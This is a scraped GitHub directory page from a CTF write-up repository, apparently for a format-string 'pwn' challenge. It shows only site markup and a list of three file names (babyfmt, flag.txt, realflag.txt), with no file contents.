<template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class="px-2" > <button autofocus class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg> </button> <div aria-atomic="true" role="alert" class="js-flash-alert"> <div>{{ message }}</div>
</div> </div></div> </template></div>
<include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment>
<div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" >
<div id="repository-container-header" class="pt-3 hide-full-screen" style="background-color: var(--color-page-header-bg);" data-turbo-replace>
<div class="d-flex flex-wrap flex-justify-end mb-3 px-3 px-md-4 px-lg-5" style="gap: 1rem;">
<div class="flex-auto min-width-0 width-fit mr-3"> <div class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-fg-muted mr-2"> <path d="M2 2.5A2.5 2.5 0 0 1 4.5 0h8.75a.75.75 0 0 1 .75.75v12.5a.75.75 0 0 1-.75.75h-2.5a.75.75 0 0 1 0-1.5h1.75v-2h-8a1 1 0 0 0-.714 1.7.75.75 0 1 1-1.072 1.05A2.495 2.495 0 0 1 2 11.5Zm10.5-1h-8a1 1 0 0 0-1 1v6.708A2.486 2.486 0 0 1 4.5 9h8ZM5 12.25a.25.25 0 0 1 .25-.25h3.5a.25.25 0 0 1 .25.25v3.25a.25.25 0 0 1-.4.2l-1.45-1.087a.249.249 0 0 0-.3 0L5.4 15.7a.25.25 0 0 1-.4-.2Z"></path></svg> <span> gr4n173 </span> <span>/</span> CTF-WriteUp
<span></span><span>Public</span> </div>
</div>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell mr-2"> <path d="M8 16a2 2 0 0 0 1.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 0 0 8 16ZM3 5a5 5 0 0 1 10 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.519 1.519 0 0 1 13.482 13H2.518a1.516 1.516 0 0 1-1.263-2.36l1.703-2.554A.255.255 0 0 0 3 7.947Zm5-3.5A3.5 3.5 0 0 0 4.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.017.017 0 0 0-.003.01l.001.006c0 .002.002.004.004.006l.006.004.007.001h10.964l.007-.001.006-.004.004-.006.001-.007a.017.017 0 0 0-.003-.01l-1.703-2.554a1.745 1.745 0 0 1-.294-.97V5A3.5 3.5 0 0 0 8 1.5Z"></path></svg>Notifications
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked mr-2"> <path d="M5 5.372v.878c0 .414.336.75.75.75h4.5a.75.75 0 0 0 .75-.75v-.878a2.25 2.25 0 1 1 1.5 0v.878a2.25 2.25 0 0 1-2.25 2.25h-1.5v2.128a2.251 2.251 0 1 1-1.5 0V8.5h-1.5A2.25 2.25 0 0 1 3.5 6.25v-.878a2.25 2.25 0 1 1 1.5 0ZM5 3.25a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Zm6.75.75a.75.75 0 1 0 0-1.5.75.75 0 0 0 0 1.5Zm-3 8.75a.75.75 0 1 0-1.5 0 .75.75 0 0 0 1.5 0Z"></path></svg>Fork <span>0</span>
<div data-view-component="true" class="BtnGroup d-flex"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom d-inline-block mr-2"> <path d="M8 .25a.75.75 0 0 1 .673.418l1.882 3.815 4.21.612a.75.75 0 0 1 .416 1.279l-3.046 2.97.719 4.192a.751.751 0 0 1-1.088.791L8 12.347l-3.766 1.98a.75.75 0 0 1-1.088-.79l.72-4.194L.818 6.374a.75.75 0 0 1 .416-1.28l4.21-.611L7.327.668A.75.75 0 0 1 8 .25Zm0 2.445L6.615 5.5a.75.75 0 0 1-.564.41l-3.097.45 2.24 2.184a.75.75 0 0 1 .216.664l-.528 3.084 2.769-1.456a.75.75 0 0 1 .698 0l2.77 1.456-.53-3.084a.75.75 0 0 1 .216-.664l2.24-2.183-3.096-.45a.75.75 0 0 1-.564-.41L8 2.694Z"></path></svg><span> Star</span> <span>2</span> <button disabled="disabled" aria-label="You must be signed in to add this repository to a list" type="button" data-view-component="true" class="btn-sm btn BtnGroup-item px-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-triangle-down"> <path d="m4.427 7.427 3.396 3.396a.25.25 0 0 0 .354 0l3.396-3.396A.25.25 0 0 0 11.396 7H4.604a.25.25 0 0 0-.177.427Z"></path></svg></button></div>
</div>
<div id="responsive-meta-container" data-turbo-replace></div>
<nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5">
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path d="m11.28 3.22 4.25 4.25a.75.75 0 0 1 0 1.06l-4.25 4.25a.749.749 0 0 1-1.275-.326.749.749 0 0 1 .215-.734L13.94 8l-3.72-3.72a.749.749 0 0 1 .326-1.275.749.749 0 0 1 .734.215Zm-6.56 0a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042L2.06 8l3.72 3.72a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L.47 8.53a.75.75 0 0 1 0-1.06Z"></path></svg> <span>Code</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path><path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Z"></path></svg> <span>Issues</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 3.25a2.25 2.25 0 1 1 3 2.122v5.256a2.251 2.251 0 1 1-1.5 0V5.372A2.25 2.25 0 0 1 1.5 3.25Zm5.677-.177L9.573.677A.25.25 0 0 1 10 .854V2.5h1A2.5 2.5 0 0 1 13.5 5v5.628a2.251 2.251 0 1 1-1.5 0V5a1 1 0 0 0-1-1h-1v1.646a.25.25 0 0 1-.427.177L7.177 3.427a.25.25 0 0 1 0-.354ZM3.75 2.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm0 9.5a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Zm8.25.75a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Z"></path></svg> <span>Pull requests</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 0a8 8 0 1 1 0 16A8 8 0 0 1 8 0ZM1.5 8a6.5 6.5 0 1 0 13 0 6.5 6.5 0 0 0-13 0Zm4.879-2.773 4.264 2.559a.25.25 0 0 1 0 .428l-4.264 2.559A.25.25 0 0 1 6 10.559V5.442a.25.25 0 0 1 .379-.215Z"></path></svg> <span>Actions</span> <span></span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-table UnderlineNav-octicon d-none d-sm-inline"> <path d="M0 1.75C0 .784.784 0 1.75 0h12.5C15.216 0 16 .784 16 1.75v12.5A1.75 1.75 0 0 1 14.25 16H1.75A1.75 1.75 0 0 1 0 14.25ZM6.5 6.5v8h7.75a.25.25 0 0 0 .25-.25V6.5Zm8-1.5V1.75a.25.25 0 0 0-.25-.25H6.5V5Zm-13 1.5v7.75c0 .138.112.25.25.25H5v-8ZM5 5V1.5H1.75a.25.25 0 0 0-.25.25V5Z"></path></svg> <span>Projects</span> <span>0</span>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path d="M7.467.133a1.748 1.748 0 0 1 1.066 0l5.25 1.68A1.75 1.75 0 0 1 15 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.697 1.697 0 0 1-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 0 1 1.217-1.667Zm.61 1.429a.25.25 0 0 0-.153 0l-5.25 1.68a.25.25 0 0 0-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.196.196 0 0 0 .154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.251.251 0 0 0-.174-.237l-5.25-1.68ZM8.75 4.75v3a.75.75 0 0 1-1.5 0v-3a.75.75 0 0 1 1.5 0ZM9 10.5a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> <span>Security</span> <include-fragment src="/gr4n173/CTF-WriteUp/security/overall-count" accept="text/fragment+html"></include-fragment>
<svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path d="M1.5 1.75V13.5h13.75a.75.75 0 0 1 0 1.5H.75a.75.75 0 0 1-.75-.75V1.75a.75.75 0 0 1 1.5 0Zm14.28 2.53-5.25 5.25a.75.75 0 0 1-1.06 0L7 7.06 4.28 9.78a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042l3.25-3.25a.75.75 0 0 1 1.06 0L10 7.94l4.72-4.72a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042Z"></path></svg> <span>Insights</span> <span></span>
<div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3ZM1.5 9a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Zm13 0a1.5 1.5 0 1 0 0-3 1.5 1.5 0 0 0 0 3Z"></path></svg> <span>More</span> </div></summary> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Security Insights </details-menu></details></div></nav>
</div>
<turbo-frame id="repo-content-turbo-frame" target="_top" data-turbo-action="advance" class=""> <div id="repo-content-pjax-container" class="repository-content " >
<div class="clearfix container-xl px-3 px-md-4 px-lg-5 mt-4"> <div >
<div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="js-branch-select-menu details-reset details-overlay mr-0 mb-0 " id="branch-select-menu" data-hydro-click-payload="{"event_type":"repository.click","payload":{"target":"REFS_SELECTOR_MENU","repository_id":268424549,"originating_url":"https://github.com/gr4n173/CTF-WriteUp/tree/master/Castorsctf/pwn/babyfmtfile","user_id":null}}" data-hydro-click-hmac="644200c5b3e626460dcbd0b28178f7bc8951018073880394e38b4175d9423206"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path d="M9.5 3.25a2.25 2.25 0 1 1 3 2.122V6A2.5 2.5 0 0 1 10 8.5H6a1 1 0 0 0-1 1v1.128a2.251 2.251 0 1 1-1.5 0V5.372a2.25 2.25 0 1 1 1.5 0v1.836A2.493 2.493 0 0 1 6 7h4a1 1 0 0 0 1-1v-.628A2.25 2.25 0 0 1 9.5 3.25Zm-6 0a.75.75 0 1 0 1.5 0 .75.75 0 0 0-1.5 0Zm8.25-.75a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5ZM4.25 12a.75.75 0 1 0 0 1.5.75.75 0 0 0 0-1.5Z"></path></svg> <span>master</span> <span></span> </summary>
<div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </header>
<input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div>
<div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div>
<div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" tabindex="" class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" prefetch-on-mouseover >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<footer class="SelectMenu-footer">View all branches</footer> </ref-selector>
</div>
<div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" tabindex="" hidden class="d-flex flex-column flex-auto overflow-auto"> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/gr4n173/CTF-WriteUp/refs" cache-key="v0:1590985854.0" current-committish="bWFzdGVy" default-branch="bWFzdGVy" name-with-owner="Z3I0bjE3My9DVEYtV3JpdGVVcA==" >
<template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template>
<template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template>
<template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path d="M13.78 4.22a.75.75 0 0 1 0 1.06l-7.25 7.25a.75.75 0 0 1-1.06 0L2.22 9.28a.751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018L6 10.94l6.72-6.72a.75.75 0 0 1 1.06 0Z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template>
<div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" data-turbo-frame="repo-content-turbo-frame"> <div class="SelectMenu-loading pt-3 pb-0 overflow-hidden" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div>
</details>
</div>
<div class="Overlay--hidden Overlay-backdrop--center" data-modal-dialog-overlay> <modal-dialog role="dialog" id="warn-tag-match-create-branch-dialog" aria-modal="true" aria-labelledby="warn-tag-match-create-branch-dialog-header" data-view-component="true" class="Overlay Overlay--width-large Overlay--height-auto Overlay--motion-scaleFade"> <header class="Overlay-header Overlay-header--large Overlay-header--divided"> <div class="Overlay-headerContentWrap"> <div class="Overlay-titleWrap"> <h1 id="warn-tag-match-create-branch-dialog-header" class="Overlay-title">Name already in use</h1> </div> <div class="Overlay-actionWrap"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" aria-label="Close" type="button" data-view-component="true" class="close-button Overlay-closeButton"><svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path d="M3.72 3.72a.75.75 0 0 1 1.06 0L8 6.94l3.22-3.22a.749.749 0 0 1 1.275.326.749.749 0 0 1-.215.734L9.06 8l3.22 3.22a.749.749 0 0 1-.326 1.275.749.749 0 0 1-.734-.215L8 9.06l-3.22 3.22a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042L6.94 8 3.72 4.78a.75.75 0 0 1 0-1.06Z"></path></svg></button> </div> </div> </header> <div class="Overlay-body "> <div data-view-component="true"> A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?</div>
</div> <footer class="Overlay-footer Overlay-footer--alignEnd"> <button data-close-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn"> Cancel</button> <button data-submit-dialog-id="warn-tag-match-create-branch-dialog" type="button" data-view-component="true" class="btn-danger btn"> Create</button> </footer></modal-dialog></div>
<div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>babyfmtfile<span>/</span> </div> </div>
<div class="d-flex"> Go to file </div> </div>
<div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-WriteUp</span></span></span><span>/</span><span><span>Castorsctf</span></span><span>/</span><span><span>pwn</span></span><span>/</span>babyfmtfile<span>/</span></div>
<div class="Box mb-3" > <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-2 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/gr4n173/CTF-WriteUp/tree-commit/9f0199001fc84bb659dd880a0ff160c79abb078c/Castorsctf/pwn/babyfmtfile" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg text="gray" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path d="m.427 1.927 1.215 1.215a8.002 8.002 0 1 1-1.6 5.685.75.75 0 1 1 1.493-.154 6.5 6.5 0 1 0 1.18-4.458l1.358 1.358A.25.25 0 0 1 3.896 6H.25A.25.25 0 0 1 0 5.75V2.104a.25.25 0 0 1 .427-.177ZM7.75 4a.75.75 0 0 1 .75.75v2.992l2.028.812a.75.75 0 0 1-.557 1.392l-2.5-1A.751.751 0 0 1 7 8.25v-3.5A.75.75 0 0 1 7.75 4Z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2>
<include-fragment src="/gr4n173/CTF-WriteUp/file-list/master/Castorsctf/pwn/babyfmtfile"> Permalink
<div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path d="M6.457 1.047c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0 1 14.082 15H1.918a1.75 1.75 0 0 1-1.543-2.575Zm1.763.707a.25.25 0 0 0-.44 0L1.698 13.132a.25.25 0 0 0 .22.368h12.164a.25.25 0 0 0 .22-.368Zm.53 3.996v2.5a.75.75 0 0 1-1.5 0v-2.5a.75.75 0 0 1 1.5 0ZM9 11a1 1 0 1 1-2 0 1 1 0 0 1 2 0Z"></path></svg> Failed to load latest commit information.
</div> <div class="js-details-container Details" data-hpc> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block"> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div>
<div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>babyfmt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>flag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-fg-muted"> <path d="M2 1.75C2 .784 2.784 0 3.75 0h6.586c.464 0 .909.184 1.237.513l2.914 2.914c.329.328.513.773.513 1.237v9.586A1.75 1.75 0 0 1 13.25 16h-9.5A1.75 1.75 0 0 1 2 14.25Zm1.75-.25a.25.25 0 0 0-.25.25v12.5c0 .138.112.25.25.25h9.5a.25.25 0 0 0 .25-.25V6h-2.75A1.75 1.75 0 0 1 9 4.25V1.5Zm6.75.062V4.25c0 .138.112.25.25.25h2.688l-.011-.013-2.914-2.914-.013-.011Z"></path></svg> </div>
<div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>realflag.txt</span> </div>
<div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div>
<div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div>
</div> </div> </div>
</include-fragment>
</div>
</div>
</div>
</div>
</turbo-frame>
</main> </div>
</div>
<footer class="footer width-full container-xl p-responsive" role="contentinfo"> <h2 class='sr-only'>Footer</h2>
<div class="position-relative d-flex flex-items-center pb-2 f6 color-fg-muted border-top color-border-muted flex-column-reverse flex-lg-row flex-wrap flex-lg-nowrap mt-6 pt-6"> <div class="list-style-none d-flex flex-wrap col-0 col-lg-2 flex-justify-start flex-lg-justify-between mb-2 mb-lg-0"> <div class="mt-2 mt-lg-0 d-flex flex-items-center"> <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path d="M8 0c4.42 0 8 3.58 8 8a8.013 8.013 0 0 1-5.45 7.59c-.4.08-.55-.17-.55-.38 0-.27.01-1.13.01-2.2 0-.75-.25-1.23-.54-1.48 1.78-.2 3.65-.88 3.65-3.95 0-.88-.31-1.59-.82-2.15.08-.2.36-1.02-.08-2.12 0 0-.67-.22-2.2.82-.64-.18-1.32-.27-2-.27-.68 0-1.36.09-2 .27-1.53-1.03-2.2-.82-2.2-.82-.44 1.1-.16 1.92-.08 2.12-.51.56-.82 1.28-.82 2.15 0 3.06 1.86 3.75 3.64 3.95-.23.2-.44.55-.51 1.07-.46.21-1.61.55-2.33-.66-.15-.24-.6-.83-1.23-.82-.67.01-.27.38.01.53.34.19.73.9.82 1.13.16.45.68 1.31 2.69.94 0 .67.01 1.3.01 1.49 0 .21-.15.45-.55.38A7.995 7.995 0 0 1 0 8c0-4.42 3.58-8 8-8Z"></path></svg> <span> © 2023 GitHub, Inc. </span> </div> </div>
<nav aria-label='footer' class="col-12 col-lg-8"> <h3 class='sr-only' id='sr-footer-heading'>Footer navigation</h3> Terms Privacy Security Status Docs Contact GitHub Pricing API Training Blog About </nav> </div>
<div class="d-flex flex-justify-center pb-6"> <span></span> </div></footer>
